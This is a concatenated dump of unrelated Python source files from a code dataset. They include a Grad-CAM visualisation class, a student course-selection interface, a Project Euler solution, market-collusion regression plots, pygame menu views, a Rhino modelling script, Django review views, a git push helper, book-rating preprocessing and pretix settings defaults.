Explanations from Deep Networks via Gradient-based Localization**\n | https://arxiv.org/abs/1610.02391 \n |\n | Aditya Chattopadhyay, Anirban Sarkar, Prantik Howlader, Vineeth N Balasubramanian\n | **Grad-CAM++: Improved Visual Explanations for Deep Convolutional Networks**\n | https://arxiv.org/abs/1710.11063\n |\n\n \"\"\"\n\n def __init__(self, model_cam):\n self.model_cam = model_cam\n self._model_type = self.get_model_type(self.model_cam)\n assert self._model_type in model_types, \"Model must be instance of {}\".format(model_types)\n if self._model_type == 'Sequential':\n self.check_for_relus(self.model_cam)\n self.model_gb = convert_relus(copy.deepcopy(self.model_cam))\n self.model_cam.set_models(inference=True)\n self.model_gb.set_models(inference=True)\n\n def get_model_type(self, model_cam):\n \"\"\" Gets model type information for model passed to Grad-CAM \n\n Args:\n model_cam (ReNom model instance): CNN-based classification model to be used\n for creating Guided Grad-CAM saliency maps\n Model must be ReNom instance of VGG, ResNet,\n ResNeXt or rm.Sequential. Model should use\n ReLu activation functions and be pre-trained\n on the same dataset used for Grad-CAM visualizations.\n\n Returns:\n (string): Model class name\n \"\"\"\n return model_cam.__class__.__name__\n\n def check_for_relus(self, model):\n \"\"\" Assertion check to see if ReLu activation functions exist in model\n\n Args:\n model_cam (ReNom model instance): CNN-based classification model to be used\n for creating Guided Grad-CAM saliency maps\n Model must be ReNom instance of VGG, ResNet,\n ResNeXt or rm.Sequential. Model should use\n ReLu activation functions and be pre-trained\n on the same dataset used for Grad-CAM visualizations.\n\n Returns:\n (bool): assert result\n \"\"\"\n assert any('Relu' in i for i in map(str, (i.__class__.__name__ for i in model._layers))), \\\n 'Model must contain at least one Relu'\n\n def get_scaling_factor(self, size, L):\n \"\"\" Calculates scaling factor for aligning Grad-CAM map and input image sizes\n\n Args:\n size (tuple): tuple of integers representing original image size\n L (ndarray): Grad-CAM saliency map\n\n Returns:\n float, float: width and height scaling factors for aligning final array sizes\n \"\"\"\n return float(size[1] / L.shape[0]), float(size[0] / L.shape[1])\n\n # 1a. Forward pass (Grad-CAM)\n def forward_cam(self, x, class_id, mode, node):\n \"\"\" Calculates forward pass through model for Grad-CAM\n\n Args:\n x (renom.Variable): Input data for model after pre-processing has been applied\n class_id (int): Class ID for creating visualizations\n mode (string): Flag for selecting Grad-CAM or Grad-CAM++\n node (int): Index representing final convolutional layer (used in rm.Sequential case only)\n\n Returns:\n (renom.Variable): Final layer output and final convolution layer output\n \"\"\"\n if 'VGG' in self._model_type:\n y_c, final_conv = vgg_cam(self.model_cam, x, class_id, mode)\n elif 'ResNet' in self._model_type or 'ResNeXt' in self._model_type:\n y_c, final_conv = resnet_cam(self.model_cam, x, class_id, mode)\n elif 'DenseNet' in self._model_type:\n y_c, final_conv = densenet_cam(self.model_cam, x, class_id, mode)\n elif self._model_type == 'Sequential':\n y_c, final_conv = sequential_cam(self.model_cam, x, class_id, mode, node)\n else:\n print(\"Error: Model must be of type VGG, ResNet, ResNeXt or rm.Sequential\")\n return y_c, final_conv\n\n # 1b. Forward pass (Guided Backpropagation)\n def forward_gb(self, x_gb, class_id, mode):\n \"\"\" Calculates forward pass through model for guided backpropagation\n\n Args:\n x_gb (renom.Variable): Input data for model after pre-processing has been applied\n class_id (int): Class ID for creating visualizations\n mode (string): Flag for selecting Grad-CAM or Grad-CAM++\n\n Returns:\n (renom.Variable): Final layer output\n \"\"\"\n t_gb = self.model_gb(x_gb)\n if mode == 'plus':\n t_gb = rm.exp(t_gb)\n if t_gb.shape[1] > 1:\n t_gb_c = t_gb[:, class_id]\n else:\n t_gb_c = t_gb\n y_gb = rm.sum(t_gb_c)\n return y_gb\n\n def get_predicted_class(self, x):\n \"\"\" Returns class that model predicts given input data\n\n Args:\n x (renom.Variable): Input data for model after pre-processing has been applied\n class_id (int): Class ID for creating visualizations\n mode (string): Flag for selecting Grad-CAM ('normal', default) or Grad-CAM++ ('plus')\n\n Returns:\n (int): np.argmax index of final model output\n \"\"\"\n if is_cuda_active():\n t = self.model_cam(x).as_ndarray()\n else:\n t = self.model_cam(x)\n return np.argmax(t)\n\n def guided_backprop(self, x_gb, y_gb):\n \"\"\" Calculates guided backpropagation backward pass\n\n Args:\n x_gb (renom.Variable): Input data for model after pre-processing has been applied\n y_gb (renom.Variable): Output of guided backpropagaion forward pass for x_gb\n\n Returns:\n (numpy.ndarray): Raw and normalized guided backpropagation outputs\n \"\"\"\n if is_cuda_active:\n y_gb.to_cpu()\n grad = y_gb.grad()\n if is_cuda_active():\n grad_gb = grad.get(x_gb).as_ndarray()\n else:\n grad_gb = grad.get(x_gb)\n input_map = np.squeeze(grad_gb, axis=0)\n input_map = input_map.transpose(1, 2, 0)\n gb_viz = input_map.copy()\n input_map -= np.min(input_map)\n if np.max(input_map) == 0:\n input_map /= (np.max(input_map) + 1e-8)\n else:\n input_map /= np.max(input_map)\n return gb_viz, input_map\n\n def generate_map(self, y_c, final_conv, gb_map, mode, size):\n \"\"\" Generates Guided Grad-CAM and Grad-CAM saliency maps as numpy arrays\n\n Args:\n y_c (renom.Variable): Output of final layer in forward pass through model\n final_conv (renom.Variable): Output of final convolution layer in forward pass through model\n gb_map (numpy.ndarray): numpy array representing normalized guided backpropagation output\n mode (string): Flag for selecting Grad-CAM ('normal', default) or Grad-CAM++ ('plus')\n\n Returns:\n (numpy.ndarray): Grad-CAM saliency map and Guided Grad-CAM map as numpy arrays\n \"\"\"\n # 3a. Grad-CAM (coefficients)\n grad = y_c.grad()\n if is_cuda_active():\n A = np.squeeze(final_conv.as_ndarray())\n dAk = np.squeeze(grad.get(final_conv).as_ndarray())\n else:\n A = np.squeeze(final_conv)\n dAk = np.squeeze(grad.get(final_conv))\n if mode == 'plus':\n alpha_new = (dAk * dAk)\n term_1 = 2 * dAk * dAk\n term_2 = rm.sum(rm.sum(A, axis=2), axis=1)\n if is_cuda_active():\n term_2 = term_2.as_ndarray()\n term_2 = term_2[:, np.newaxis, np.newaxis]\n term_2 = term_2 * dAk * dAk * dAk\n alpha_new = alpha_new / (term_1 + term_2 + 1e-8)\n w = rm.sum(rm.sum(alpha_new * rm.relu(dAk), axis=2), axis=1)\n if is_cuda_active():\n w = w.as_ndarray()\n w = w[:, np.newaxis, np.newaxis]\n else:\n w = rm.sum(rm.sum(dAk, axis=2), axis=1) / (dAk.shape[1] * dAk.shape[2])\n if is_cuda_active():\n w = w.as_ndarray()\n w = w[:, np.newaxis, np.newaxis]\n\n # 3b. Grad-CAM (saliency map)\n L = rm.relu(rm.sum(A * w, axis=0)).as_ndarray()\n scale_w, scale_h = self.get_scaling_factor(size, L)\n L = zoom(L, (scale_w, scale_h), order=1)\n L_big = np.expand_dims(L, 2)\n # 4. Guided Grad-CAM\n result = L_big * gb_map\n if result.shape[2] == 1:\n result = np.squeeze(result, axis=2)\n result -= np.min(result)\n if np.max(result) == 0:\n result /= (np.max(result) + 1e-8)\n else:\n result /= np.max(result)\n return L, result\n\n # function to actually run calculation\n def __call__(self, x, size=(224, 224), class_id=None, mode='normal', node=None):\n x_gb = rm.Variable(x.copy())\n x = rm.Variable(x)\n\n if not class_id:\n class_id = self.get_predicted_class(x)\n\n y, final_conv = self.forward_cam(x, class_id, mode, node)\n\n y_gb = self.forward_gb(x_gb, class_id, mode)\n gb_map, input_map = self.guided_backprop(x_gb, y_gb)\n L, result = self.generate_map(y, final_conv, gb_map, mode, size)\n\n return input_map, L, result\n","sub_path":"renom_img/api/utility/visualize/grad_cam.py","file_name":"grad_cam.py","file_ext":"py","file_size_in_byte":13342,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"341701423","text":"from db import modules\nfrom lib import common\n\nlogger = common.get_logger('操作日志')\n\n\n# 学生:学生注册接口\ndef student_registe_interface(name, password):\n obj = modules.Student.get_obj_name(name)\n if obj:\n return False, '用户名已存在'\n else:\n modules.Student(name, password)\n logger.info('学生%s注册成功' % name)\n return True, '学生注册成功'\n\n\n# 学生:选择学校接口\ndef choice_school_interface(stu_name, school_name):\n obj = modules.Student.get_obj_name(stu_name)\n if obj.school:\n return False, '您已选择过学校,无法再次选择'\n else:\n obj.choice_school(school_name)\n logger.info('%s选择学校%s成功' % (stu_name, school_name))\n return True, '%s选择学校%s成功' % (stu_name, school_name)\n\n\n# 学生:根据学校查看所有课程接口\ndef check_all_course(stu_name):\n stu_obj = modules.Student.get_obj_name(stu_name)\n if stu_obj.school:\n school_obj = modules.School.get_obj_name(stu_obj.school)\n if school_obj.course_list:\n return True, school_obj.course_list\n else:\n return False, '该学校暂无课程'\n else:\n return False, '您还没选择学校'\n\n\n# 学生:选择课程接口\ndef choice_course_interface(stu_name, course_name):\n stu_obj = modules.Student.get_obj_name(stu_name)\n if course_name in stu_obj.course_list:\n return False, '您已选择本门课程'\n stu_obj.add_course(course_name)\n course_obj = modules.Course.get_obj_name(course_name)\n course_obj.add_student(stu_name)\n logger.info('%s选择课程%s成功' % (stu_name, course_name))\n return True, '%s选择课程%s成功' % (stu_name, course_name)\n\n\n# 学生:查看分数接口\ndef check_score_interface(stu_name):\n stu_obj = modules.Student.get_obj_name(stu_name)\n return stu_obj.score\n\n\n# 学生:查看学生课程信息接口\ndef check_stu_course_interface(stu_name):\n stu_obj = modules.Student.get_obj_name(stu_name)\n if stu_obj.course_list:\n return True, stu_obj.stu_tell_info()\n else:\n return False, '暂无课程,请先选择课程'","sub_path":"interface/student_interface.py","file_name":"student_interface.py","file_ext":"py","file_size_in_byte":2172,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"222569128","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Feb 7 19:06:54 2019\n\n@author: zx7y-kmr\n\n2520 is the smallest number that can be divided by each of the numbers from 1 to 10 without any remainder.\n\nWhat is the smallest positive number that is evenly divisible by all of the numbers from 1 to 20?\n\n2520 は 1 から 10 の数字の全ての整数で割り切れる数字であり, そのような数字の中では最小の値である.\n\nでは, 1 から 20 までの整数全てで割り切れる数字の中で最小の正の数はいくらになるか.\n\"\"\"\n\n\ndef soinsubunkai(n):\n soinsu = []\n for i in range(2, n):\n while n % i == 0:\n soinsu.append(i)\n n = int(n / i)\n if n > 1:\n soinsu.append(n)\n return soinsu\n\n\nyakusu0 = []\nn = 20\n\nfor j in range(2, n + 1):\n yakusu0.append(soinsubunkai(j))\n\nprint(yakusu0)\nprint(\"---------\")\n\nyakusuMaxList = []\nj = 0\n\nfor i in range(2, n + 1):\n for l in yakusu0:\n if l.count(i) > 0:\n if l.count(i) >= j:\n j = l.count(i)\n yakusuMaxList.append([i, j])\n j = 0\n\nprint(yakusuMaxList)\n\nanswer = 1\n\nfor l in yakusuMaxList:\n answer *= l[0] ** l[1]\n\nprint(answer)\n","sub_path":"ProjectEuler/Python/euler005.py","file_name":"euler005.py","file_ext":"py","file_size_in_byte":1209,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"126081906","text":"import time\n\nimport numpy as np\nimport pandas as pd\nimport plotly.colors\nimport plotly.graph_objects as go\nimport plotly.express as px\nimport constants\nimport statsmodels.api as sm\n\n# Specify treatments to be analyzed (Order according to highest degree of tacit collusion)\ntreatments = [\"SIM-P\", \"SIM-Q\", \"SEQ-P\", \"SEQ-Q\"]\n\ncolors = plotly.colors.DEFAULT_PLOTLY_COLORS\ni = 0\n\n# Plot with degree of tacit collusion\nfor treatment in treatments:\n fig = go.Figure(layout=go.Layout(\n xaxis=dict(title=\"Anzahl der Firmen\"), yaxis=dict(title=\"Kollusion ϕ\"), title=treatment))\n df = pd.read_csv(\"data/market_size/\" + treatment + \".csv\")\n\n # Line with degree of tacit collusion\n fig.add_trace(go.Scatter(\n x=df.get(\"MARKET SIZE\"), y=df.get(\"DEGREE OF TACIT COLLUSION\"),\n mode=\"lines\",\n line=dict(color=colors[i], shape=\"spline\", width=3)\n ))\n\n # OLS trendline\n trendline = px.scatter(df, x=\"MARKET SIZE\", y=\"DEGREE OF TACIT COLLUSION\", trendline=\"ols\",\n color_discrete_sequence=[colors[i]])\n trendline_data = trendline.data[1]\n fig.add_trace(trendline_data)\n\n # Vertical line at y=0\n y = np.empty(df.get(\"MARKET SIZE\").size); y.fill(0)\n fig.add_trace(go.Scatter(\n x=df.get(\"MARKET SIZE\"), y=y,\n mode=\"lines\",\n line=dict(color='black', dash=\"longdash\")\n ))\n\n # Vertical line at y=1\n y.fill(1)\n fig.add_trace(go.Scatter(\n x=df.get(\"MARKET SIZE\"), y=y,\n mode=\"lines\",\n line=dict(color='black', dash=\"longdash\")\n ))\n\n fig.update_layout(constants.layout, showlegend=False)\n fig.show(config=constants.config)\n i += 1\n time.sleep(3)\n\n# Regression for tests\nfor treatment in treatments:\n df = pd.read_csv(\"data/market_size/\" + treatment + \".csv\")\n\n x = df.get(\"MARKET SIZE\")\n y = df.get(\"DEGREE OF TACIT COLLUSION\")\n\n x = sm.add_constant(x)\n result = sm.OLS(y, x).fit()\n print(treatment)\n print(result.summary())\n\n# Print (conditional) mean degree of tacit collusion and percentage of collusion\nfor treatment in treatments:\n df = pd.read_csv(\"data/market_size/\" + treatment + \".csv\")\n\n print(\"\\n\" + treatment)\n print(\"MEAN DEGREE OF TACIT COLLUSION: \" + str(np.mean(df.get(\"DEGREE OF TACIT COLLUSION\"))))\n print(\"MEAN PERCENTAGE OF COORDINATION: \" + str(np.mean(df.get(\"PERCENTAGE OF COORDINATION\"))))\n\n coordinative_runs = df[df[\"PERCENTAGE OF COORDINATION\"] > 0]\n print(\"CONDTIONIONAL MEAN DEGREE OF TACIT COLLUSION: \" + str(np.mean(coordinative_runs.get(\"DEGREE OF TACIT COLLUSION\"))))\n","sub_path":"pythonFiles/market_size.py","file_name":"market_size.py","file_ext":"py","file_size_in_byte":2571,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"213332727","text":"from meta_view import *\nfrom menu_actions import *\nimport data_loader\n\nclass MenuView(MetaView):\n\t# user - reference to logged user (PlayerModel)\n\tdef __init__(self,user):\n\t\tsuper().__init__(pygame.Rect(15,15,0,0))\n\t\tloader = data_loader.CharacterLoader()\n\t\tdesc_view = _CharacterDescriptionView()\n\t\tplayer_view = _PlayerView(user)\n\t\tchar_view = _CharacterListView(loader.characters,player_view,desc_view)\n\t\tbottom = HorizontalLayout(15)\n\t\tbottom.add_child(player_view)\n\t\tbottom.add_child(char_view)\n\t\tself.layout = VerticalLayout(15)\n\t\tself.layout.add_child(desc_view)\n\t\tself.layout.add_child(bottom)\n\t\tself.add_child(self.layout)\n\nclass _CharacterSlotView(StackLayout):\n\n\tIMAGE_PATH = \"img/\"\n\n\tdef __init__(self,character=None):\n\t\tsuper().__init__()\n\t\tself.slot = SimpleImage(self.IMAGE_PATH+'empty.png')\n\t\tself.add_child(self.slot)\n\t\tif(character):\n\t\t\tself.character = SimpleImage(self.IMAGE_PATH+character.image)\n\t\t\tself.add_child(self.character)\n\n\t# For select and deselect\n\t# character - reference to SimpleImage\n\tdef select_character(self,child):\n\t\tself.character = child\n\t\tself.add_child(self.character)\n\n\tdef deselect_character(self):\n\t\tself.remove_child(self.character)\n\n\n\n\n\nclass _CharacterListView(SimpleRect):\n\tBG_COLOR = (50,50,50)\n\tSIZE = (250,300)\n\tCHAR_IMG_SIZE = 200\n\tIMAGE_PATH = \"img/\"\n\n\t# characters - list of MetaCharacter instances\n\t# selected - list of selected characters\n\t# desc_view - reference to CharacterDescriptionView\n\tdef __init__(self,characters,player_view,desc_view,position=(0,0)):\n\t\tsuper().__init__(self.SIZE,color=self.BG_COLOR)\n\t\tself.layout = HorizontalLayout(15,(15,15))\n\t\tself.add_child(self.layout)\n\t\tfor character in characters:\n\t\t\tchild = _CharacterSlotView(character)\n\t\t\tself.layout.add_child(child)\n\t\t\tchild.actions.append(DragCharacterAction(child,player_view))\n\t\t\tchild.character.actions.append(SelectCharacterAction(child,character,desc_view))\n\t\t\tself.rect.w += child.rect.w\n\nclass _CharacterDescriptionView(SimpleRect):\n\n\tDESC_SIZE = (770,300)\n\tBG_COLOR = (150,150,150)\n\tSKILL_IMG_SIZE = 100\n\tIMAGE_PATH = \"img/\"\n\tpygame.font.init()\n\n\tclass _SkillDesctiptionView(MetaView):\n\n\t\tdef __init__(self,skill):\n\t\t\tsimple_text = SimpleText(skill.description)\n\t\t\tsuper().__init__(pygame.Rect(0,15,simple_text.rect.w,simple_text.rect.h))\n\t\t\tself.add_child(simple_text)\n\n\tdef __init__(self,position=(0,0)):\n\t\tsuper().__init__((self.DESC_SIZE[0],self.DESC_SIZE[1]),position = position,color=self.BG_COLOR)\n\t\tself.layout = VerticalLayout(15,(15,15))\n\t\tself.add_child(self.layout)\n\t\tself.selected = None\n\n\tdef select_character(self,character):\n\t\tself.layout.clear_children()\n\t\tself.selected = None\n\t\tskill_layout = HorizontalLayout(15)\n\t\tfor skill in character.skills:\n\t\t\tchild = SimpleImage(self.IMAGE_PATH+skill.image)\n\t\t\tskill_layout.add_child(child)\n\t\t\tchild.actions.append(SelectSkillAction(child,skill,self))\n\t\tself.layout.add_child(skill_layout)\n\n\tdef select_skill(self,skill):\n\t\tif(self.selected != None):\n\t\t\tself.layout.remove_last_child()\n\t\tself.selected = self._SkillDesctiptionView(skill)\n\t\tself.layout.add_child(self.selected)\n\nclass _PlayerView(SimpleRect):\n\n\tRECT_SIZE = (350,300)\n\tBG_COLOR = (100,100,100)\n\tIMAGE_PATH = \"img/\"\t\n\n\t# reference to current player model (PlayerModel)\n\tdef __init__(self,player):\n\t\tsuper().__init__(self.RECT_SIZE,self.BG_COLOR)\n\t\tself.player = player\n\t\tself.layout = VerticalLayout(15,(15,15))\n\t\tself.add_child(self.layout)\n\t\tself.layout.add_child(SimpleText(player.name))\n\t\tself.layout.add_child(SimpleImage(self.IMAGE_PATH+player.image))\n\t\tself.char_views = []\n\t\tcharacter_layout = HorizontalLayout(10)\n\t\tfor character in player.characters:\n\t\t\tchild = _CharacterSlotView()\n\t\t\tself.char_views.append(child)\n\t\t\tcharacter_layout.add_child(child)\n\t\tself.layout.add_child(character_layout)","sub_path":"menu_view.py","file_name":"menu_view.py","file_ext":"py","file_size_in_byte":3772,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"124335974","text":"import rhinoscriptsyntax as rs\nimport sys\nimport math\nimport string\nimport random\n\nsys.stdout.write(\"Welcome!\\n\")\n\nl1 = random.sample(xrange(0, 25), 24)\nl2 = random.sample(xrange(0, 25), 24)\nl3 = random.sample(xrange(0, 25), 24)\nl4 = random.sample(xrange(0, 25), 24)\nl5 = random.sample(xrange(0, 25), 24)\nl6 = random.sample(xrange(0, 25), 24)\nl7 = random.sample(xrange(0, 25), 24)\n\nl1.append(l1[0])\nl2.append(l2[0])\nl3.append(l3[0])\nl4.append(l4[0])\nl5.append(l5[0])\nl6.append(l6[0])\nl7.append(l7[0])\n\n\n\ndef read():\n with open(\"dat.txt\", 'r') as reader :\n for line in reader :\n data_in.append(line)\n break\n\ndata_in = [0, 0, 0, 0, 0, 1, 1, 2, 8, 10, 14, 6, 6, 4, 11, 8, 24, 5, 11, 1, 7, 16, 2, 7]\ndata_in2 = [0, 1, 2, 0, 0, 1, 2, 4, 12, 5, 12, 2, 8, 7, 12, 4, 3, 12, 21, 3, 4, 1, 15, 5]\n#print (len(data_in))\n\ndata_in.append(data_in[0])\ndata_in2.append(data_in2[0])\n\nrs.EnableRedraw(False)\n\nall = rs.AllObjects(select=True)\nrs.DeleteObjects(all)\npi = math.pi\nstandard_points = []\ndata_points = []\ncurves = []\nz = 0\nradius = 80\n\ndef fun1():\n pos = 0\n global z\n #rs.AddCircle([0,0,0], 120)\n \n for a in rs.frange(0.0, 2*pi, (pi/12)):\n x = (radius + l1[pos]) * math.sin(a +pi)\n y = (radius + l1[pos]) * math.cos(a + pi)\n \n data_points.append([x,y,z])\n #rs.AddPoint(x,y,z)\n continue\n \n obj = rs.AddInterpCurve(data_points)\n curves.append(obj)\n \n z +=40\n \n return\n \nrad = 80\n\ndef fun():\n pos = 0\n global z\n for a in rs.frange(0.0, 2*pi, (pi/12)):\n x = (rad + l1[pos]) * math.sin(a +pi) \n y = (rad + l1[pos]) * math.cos(a + pi) \n \n pos +=1\n \n data_points.append([x, y, z])\n #rs.AddPoint(x, y, z)\n continue\n \n obj = rs.AddInterpCurve(data_points, degree=3, knotstyle=4)\n \n curves.append(obj)\n \n z += 40\n \n return\n \n\nfun()\ndata_points = []\npoint = (0,0,0)\nbase = rs.ExtrudeCurvePoint(curves, point)\n\n\nrad =100\nl1 = l2\n\nfun()\ndata_points = []\nrad = 120\nl1 = l3\n\nfun()\ndata_points = []\nrad = 140\nl1 = l4\n\nfun()\ndata_points = []\nrad = 160\nl1 = l5\n\nfun()\ndata_points = []\nrad = 130\nl1 = l6\n\nfun()\ndata_points = []\nrad = 100\nl1 = l7\n\nfun()\ndata_points = []\nrad = 130\n\n\nfun() \n\n#obj = rs.AddInterpCurve(data_points)\n#obj1 = rs.AddInterpCurve(standard_points)\n#curves.append(obj)\n#curves1.append(obj1)\n\nrs.EnableRedraw(True)\nrs.SelectObjects(curves)\nobject_all = rs.AddLoftSrf(curves, loft_type=0)\nrs.DeleteObjects(curves)\nrs.OffsetSurface(base, 5, create_solid = \"true\")\nrs.OffsetSurface(object_all, 5, create_solid = \"true\")","sub_path":"new.py","file_name":"new.py","file_ext":"py","file_size_in_byte":2659,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"70720900","text":"from django.shortcuts import render\nfrom detail.models import Movie,People\nfrom django.http import HttpResponse\nfrom detail.forms import movieReviewForm\nfrom django.utils import timezone\nimport re,json,urllib.request\nfrom .mediaFind import youtube_search\n\n\ndef detail(request,id):\n detail = Movie.objects.get(pk=id)\n form = movieReviewForm\n movieTitle = detail.title\n youtubeMovieID = youtube_search(movieTitle,detail.titleen)\n score_list = [(detail.scoreact,\"연기력\"),(detail.scorestory,\"스토리\"),(detail.scoredirector,\"감독\")\n ,(detail.scoreost,\"OST\"),(detail.scorevisual,\"영상미\"),(detail.scorefresh,\"신선도\")]\n peopleList = People.objects.filter(moviecode=detail)\n context = {\"detail\":detail,\"form\":form,\"youtubeMovieID\":youtubeMovieID,\"score_list\":score_list,\"peopleList\":peopleList}\n return render(request,'detail.html',context)\n\ndef postReview(request):\n reviewScore = request.POST.get('reviewScore', None)\n reviewText = request.POST.get('reviewText', None)\n redirectUrl = request.POST.get('redirectUrl', None)\n moviecode = int(redirectUrl.split(\"/\")[1])\n form = movieReviewForm()\n post = form.save(commit=False)\n post.reviewUser = request.user\n post.date = timezone.now()\n post.nonRecommend = 0\n post.recommend = 0\n post.score = reviewScore\n post.moviecode = Movie.objects.get(pk=moviecode)\n post.comment = reviewText\n if not post.score:\n post.score = 0\n else:\n post.score = float(reviewScore)\n post.save()\n context = {'url': redirectUrl}\n return HttpResponse(json.dumps(context), content_type=\"application/json\")\n\n","sub_path":"beekave/detail/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1647,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"155540182","text":"\nfrom os import rename\nfrom git import Repo\nfrom git.exc import GitError\n\nPATH_OF_GIT_REPO = r'/Users/dmitrirodioskin/Documents/git_repositories/test_sa/' # make sure .git folder is properly configured\nCOMMIT_MESSAGE = 'comment from python script'\n\ndef git_push_gitlab():\n try:\n repo = Repo(PATH_OF_GIT_REPO)\n repo.git.add(all=True)\n repo.index.commit(COMMIT_MESSAGE)\n \n origin = repo.remote(name='origin')\n origin.push()\n except:\n print('Some error occured on Gitlab while pushing the code')\n\ndef git_push_github():\n try:\n repo = Repo(PATH_OF_GIT_REPO)\n repo.git.add(all=True)\n repo.index.commit(COMMIT_MESSAGE)\n \n origin = repo.remote(name='origin_github')\n origin.push()\n except:\n print('Some error occured on Github while pushing the code')\n \ngit_push_github()\ngit_push_gitlab()\n\n","sub_path":"Push.py","file_name":"Push.py","file_ext":"py","file_size_in_byte":895,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"339584501","text":"import pandas as pd\nimport os\nimport re\nfrom DatabaseOp import df2mysql as dbop\n\ndef delNoitemInfo(table):\n '''\n 删除没有标签的书或删除没阅读过书的用户或者删除阅读过书却没有评分的用户\n 我们需要记录删除的书的bookid,或 删除的用户的userid\n :param table:\n :return:\n '''\n delindex = []\n delid = []\n for i in range(table.shape[0]):\n if len(table.iloc[i,1]) == 0:\n delindex.append(i)\n delid.append(table.iloc[i,0])\n print(delindex)\n print(delid)\n table = table.drop(delindex)\n table = table.reset_index(drop=True)\n\n # 需要更新user表或者book表\n # UpdateTable(table,)\n return table\n\ndef regularTable(table):\n tabledf = pd.DataFrame(columns=['userid','bookid','score'])\n for i in range(table.shape[0]):\n item_userid =[table.iloc[i,0]]*len(table.iloc[i,1])\n itemdf = pd.DataFrame(zip(item_userid,table.iloc[i,1],table.iloc[i,2]),columns=['userid','bookid','score'])\n tabledf=tabledf.append(itemdf)\n table = tabledf\n table = table.reset_index(drop=True)\n return table\n\ndef read_txt():\n path = r'C:\\Users\\chend\\Desktop\\dataset\\doubanbook-lijia1\\user-score.txt'\n with open(path,encoding='utf-8-sig') as f:\n txt = f.readlines()\n usesid = []\n booksid = []\n booksscore = []\n for line in txt:\n line = eval(line)\n usesid.append(line['用户id'])\n booksid.append(line['图书id'])\n booksscore.append(line['图书评分'])\n user_book_score=pd.DataFrame(zip(usesid,booksid,booksscore),columns=['userid','booksid','booksscore'])\n\n # 显示所有列与行\n # pd.set_option('display.max_columns', None)\n # pd.set_option('display.max_rows', None)\n\n # 去除没有读过书的的用户,没给评分\n user_book_score = delNoitemInfo(user_book_score)\n\n # 表格结构调整\n user_book_score = regularTable(user_book_score)\n\n return user_book_score\n\nif __name__ == \"__main__\":\n txt_path = r'C:\\Users\\chend\\Desktop\\dataset\\doubanbook-lijia1\\user-score.txt'\n user_book_score = read_txt()\n print(user_book_score.shape)\n dbop.store(user_book_score,'user_book_score')","sub_path":"bokRecSys/datapreprocessing/userBookScoreTable.py","file_name":"userBookScoreTable.py","file_ext":"py","file_size_in_byte":2200,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"516402814","text":"import json\nfrom datetime import datetime\n\nfrom django.conf import settings\nfrom django.core.files import File\nfrom django.db.models import Model\nfrom django.utils.translation import ugettext_noop\nfrom hierarkey.models import GlobalSettingsBase, Hierarkey\nfrom i18nfield.strings import LazyI18nString\nfrom typing import Any\n\nfrom pretix.base.models.tax import TaxRule\nfrom pretix.base.reldate import RelativeDateWrapper\n\nDEFAULTS = {\n 'max_items_per_order': {\n 'default': '10',\n 'type': int\n },\n 'display_net_prices': {\n 'default': 'False',\n 'type': bool\n },\n 'attendee_names_asked': {\n 'default': 'True',\n 'type': bool\n },\n 'attendee_names_required': {\n 'default': 'False',\n 'type': bool\n },\n 'attendee_emails_asked': {\n 'default': 'False',\n 'type': bool\n },\n 'attendee_emails_required': {\n 'default': 'False',\n 'type': bool\n },\n 'order_email_asked_twice': {\n 'default': 'False',\n 'type': bool\n },\n 'invoice_address_asked': {\n 'default': 'True',\n 'type': bool,\n },\n 'invoice_name_required': {\n 'default': 'False',\n 'type': bool,\n },\n 'invoice_attendee_name': {\n 'default': 'True',\n 'type': bool,\n },\n 'invoice_address_required': {\n 'default': 'False',\n 'type': bool,\n },\n 'invoice_address_vatid': {\n 'default': 'False',\n 'type': bool,\n },\n 'invoice_include_free': {\n 'default': 'True',\n 'type': bool,\n },\n 'invoice_numbers_consecutive': {\n 'default': 'True',\n 'type': bool,\n },\n 'invoice_numbers_prefix': {\n 'default': '',\n 'type': str,\n },\n 'invoice_renderer': {\n 'default': 'classic',\n 'type': str,\n },\n 'reservation_time': {\n 'default': '30',\n 'type': int\n },\n 'payment_term_days': {\n 'default': '14',\n 'type': int\n },\n 'payment_term_last': {\n 'default': None,\n 'type': RelativeDateWrapper,\n },\n 'payment_term_weekdays': {\n 'default': 'True',\n 'type': bool\n },\n 'payment_term_expire_automatically': {\n 'default': 'True',\n 'type': bool\n },\n 'payment_term_accept_late': {\n 'default': 'True',\n 'type': bool\n },\n 'presale_start_show_date': {\n 'default': 'True',\n 'type': bool\n },\n 'tax_rate_default': {\n 'default': None,\n 'type': TaxRule\n },\n 'invoice_generate': {\n 'default': 'False',\n 'type': str\n },\n 'invoice_address_from': {\n 'default': '',\n 'type': str\n },\n 'invoice_introductory_text': {\n 'default': '',\n 'type': LazyI18nString\n },\n 'invoice_additional_text': {\n 'default': '',\n 'type': LazyI18nString\n },\n 'invoice_footer_text': {\n 'default': '',\n 'type': LazyI18nString\n },\n 'invoice_language': {\n 'default': '__user__',\n 'type': str\n },\n 'invoice_email_attachment': {\n 'default': 'False',\n 'type': bool\n },\n 'show_items_outside_presale_period': {\n 'default': 'True',\n 'type': bool\n },\n 'timezone': {\n 'default': settings.TIME_ZONE,\n 'type': str\n },\n 'locales': {\n 'default': json.dumps([settings.LANGUAGE_CODE]),\n 'type': list\n },\n 'locale': {\n 'default': settings.LANGUAGE_CODE,\n 'type': str\n },\n 'show_date_to': {\n 'default': 'True',\n 'type': bool\n },\n 'show_times': {\n 'default': 'True',\n 'type': bool\n },\n 'show_quota_left': {\n 'default': 'False',\n 'type': bool\n },\n 'show_variations_expanded': {\n 'default': 'False',\n 'type': bool\n },\n 'waiting_list_enabled': {\n 'default': 'False',\n 'type': bool\n },\n 'waiting_list_auto': {\n 'default': 'True',\n 